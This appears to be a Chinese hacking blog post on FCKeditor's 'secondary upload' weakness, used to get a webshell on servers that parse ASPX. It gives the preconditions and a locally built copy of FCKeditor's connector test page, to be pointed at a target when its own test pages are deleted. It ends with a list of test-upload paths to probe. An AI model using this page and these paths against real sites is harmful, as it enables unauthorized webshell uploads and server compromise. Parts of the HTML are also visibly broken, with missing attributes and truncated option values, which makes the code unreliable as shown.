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本文由EnjoyHack原创或转载,转载时请注明出处,详细出处请参考: FCKeditor二次上传拿shell算是FCKeditor漏洞集中比较经典的了,这个二次上传前提条件是要支持aspx而且要求FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件为删除。二次上传漏洞对ASPX站点来说利用比较方便,成功率也比较高,当然若是ASP的站点,支持ASPX和文件为删的情况下也是没问题的。 在利用二次上传过程中我们往往都是找到FckEditor中的一些test上传页面来进行上传,不过也有遇到test上传页面全部被删除的情况,之前我便遇见过许多,不过在遇到test上传页面被删除的情况下我们可以本地构造上传页谈后提交,前提要确认FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件存在,并且服务器支持ASPX的解析。 利用代码: <!-- * FCKeditor - The text editor for Internet - * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * * * - Mozilla Public License Version 1.1 or later (the "MPL") * * * == END LICENSE == * * Test page for the File Browser connectors. --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns=" "> <head> <title>FCKeditor - Connectors Tests</title> <script type="text/javascript"> function BuildBaseUrl( command ) { var sUrl = document.getElementById('cmbConnector').value + '?Command=' + command + '&Type=' + document.getElementById('cmbType').value + '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ; return sUrl ; } function SetFrameUrl( url ) { document.getElementById('eRunningFrame').src = url ; document.getElementById('eUrl').innerHTML = url ; } function GetFolders() { SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ; return false ; } function GetFoldersAndFiles() { SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ; return false ; } function CreateFolder() { var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ; if ( ! sFolder ) return false ; var sUrl = BuildBaseUrl( 'CreateFolder' ) ; sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ; SetFrameUrl( sUrl ) ; return false ; } function OnUploadCompleted( errorNumber, fileName ) { switch ( errorNumber ) { case 0 : alert( 'File uploaded with no errors' ) ; break ; case 201 : GetFoldersAndFiles() ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } this.frames.frmUpload = this ; function SetAction() { var sUrl = BuildBaseUrl( 'FileUpload' ) ; document.getElementById('eUrl').innerHTML = sUrl ; document.getElementById('frmUpload').action = sUrl ; } </script> </head> <body> <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"> <tr> <td> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td> Connector:<br /> <select id="cmbConnector" name="cmbConnector"> <option value="asp/connector.asp" selected="selected">ASP</option> <option value=" > <option value="cfm/connector.cfm">ColdFusion</option> <option value="lasso/connector.lasso">Lasso</option> <option value="perl/connector.cgi">Perl</option> <option value="php/connector.php">PHP</option> <option value="py/connector.py">Python</option> </select> </td> <td> </td> <td> Current Folder<br /> <input id="txtFolder" type="text" value="/" name="txtFolder" /></td> <td> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="File" selected="selected">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> </tr> </table> <br /> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td valign="top"> <a href="#" Folders</a></td> <td> </td> <td valign="top"> <a href="#" Folders and Files</a></td> <td> </td> <td valign="top"> <a href="#" Folder</a></td> <td> </td> <td valign="top"> <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data"> File Upload<br /> <input id="txtFileUpload" type="file" name="NewFile" /> <input type="submit" value="Upload" /> </form> </td> </tr> </table> <br /> URL: <span id="eUrl"></span> </td> </tr> <tr> <td height="100%" valign="top"> <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%" height="100%"></iframe> </td> </tr> </table> </body> </html> <option value=" >既是ASXP的上传执行路径,asp和php的也同理,需要时请自行补充!! FCKeditor 中test 文件的上传地址 FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/upload/test.html FCKeditor/editor/filemanager/connectors/test.html FCKeditor/editor/filemanager/connectors/uploadtest.html
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